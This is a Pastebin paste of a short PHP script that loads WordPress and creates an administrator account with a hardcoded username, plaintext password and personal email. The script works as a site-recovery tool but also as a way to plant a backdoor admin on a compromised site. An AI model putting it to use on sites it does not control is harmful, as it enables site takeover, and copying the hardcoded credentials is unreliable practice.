Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- require_once('wp-blog-header.php');
- require_once('wp-includes/registration.php');
- $username = 'spencer';
- $password = 'f00b4rb4z!';
- $email = 'spencercjudd@gmail.com';
- if (!username_exists($username) && !email_exists($email)) {
- $user_id = wp_create_user($username, $password, $email);
- if (is_int($user_id)) {
- $user = new WP_User($user_id);
- $user->set_role('administrator');
- }
- }
Add Comment
Please, Sign In to add comment